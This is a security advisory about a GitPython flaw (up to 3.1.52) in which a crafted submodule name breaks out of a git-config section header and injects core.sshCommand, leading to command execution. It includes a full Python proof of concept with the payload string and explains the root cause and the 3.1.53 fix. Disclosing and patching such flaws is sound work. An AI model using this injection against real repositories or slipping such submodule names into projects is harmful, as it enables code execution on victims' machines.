high · 7Jul 24, 2026

GitPython: git-config section-name injection leads to core.sshCommand RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

GitPython lets an attacker-controlled submodule name break out of a git-config section header and inject arbitrary directives like core.sshCommand, which git executes on the next SSH operation.

Packagegitpython
Ecosystempip
Affected<= 3.1.52
Fixed in3.1.53
GitPython: git-config section-name injection leads to core.sshCommand RCE

The problem

GitPython <= 3.1.52 writes submodule names verbatim into git-config section headers as [submodule "<name>"]. The only safety check, _assure_config_name_safe, blocks CR, LF, and NUL but nothing else.

A name containing "] [core] sshCommand=CMD # closes the intended header bracket and opens a new [core] section on the same line, no newline required. Git parses it as a real directive. The sink is reached via Repo.create_submodule(name=<untrusted>) or via clone_from followed by submodule_update, where the name comes from the cloned repo's .gitmodules.

Proof of concept

A working proof-of-concept for this issue in gitpython, with the exact payload below.

python
import git, tempfile, os, subprocess

# Craft the malicious submodule name.
# The wrapper in sm_section() produces: submodule "<name>"
# so the closing quote is already there; we just need to close the bracket.
evil_name = 'x"] [core] sshCommand=id #'

tmp = tempfile.mkdtemp()
env = {**os.environ,
       "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"),
       "GIT_CONFIG_SYSTEM": "/dev/null",
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# Build a bare repo to use as the submodule URL (no network needed).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git")
run("git", "clone", "-q", "--bare", src, suburl)

# Create the victim parent repo.
parent = tempfile.mkdtemp(dir=tmp)
run("git", "init", "-q", parent)
open(os.path.join(parent, "r"), "w").write("x")
run("git", "add", "r", cwd=parent); run("git", "commit", "-qm", "i", cwd=parent)

# This single call writes the injected header into .git/config.
git.Repo(parent).create_submodule(name=evil_name, path="sub", url=suburl)

cfg = open(os.path.join(parent, ".git", "config")).read()
print("--- .git/config (injected section) ---")
for line in cfg.splitlines():
    if "submodule" in line or "sshCommand" in line:
        print(line)

# Verify git sees core.sshCommand.
r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
        "--get", "core.sshCommand")
print("core.sshCommand:", r.stdout.strip())
# On the next `git fetch/pull/push` over SSH git would execute that command.

# Written header looks like:
# [submodule "x"] [core] sshCommand=id #"]
# Git parses [core] sshCommand=id as a real directive; '#"] is an inline comment.

The root cause is that _assure_config_name_safe (CWE-74, Injection) only checks for [\r\n\x00]. Section names are serialized as fp.write(("[%s]\n" % name).encode(defenc)) with no escaping of ], [, ", or #. Submodule names pass through sm_section(name) which wraps them as submodule "<name>", so the existing double-quote is already balanced by the attacker's input, allowing a clean header break with no newline.

The patch (PR #2176, commit 1ed1b924) extends the unsafe-character regex to also reject ], [, ", and other header-breaking characters in section and subsection names, making _assure_config_name_safe raise before the malicious name can reach the config writer.

The fix

Upgrade to GitPython 3.1.53. The fix extends UNSAFE_CONFIG_CHARS_RE to reject ], [, ", and related delimiter characters in section/subsection names, so _assure_config_name_safe raises a ValueError before the malicious name reaches the config writer.

If you process untrusted submodule names, validate them independently before passing to Repo.create_submodule or relying on submodule_update with cloned repos.

Reported by Byron (Sebastian Thiel).

References: [1][2][3][4]

Related research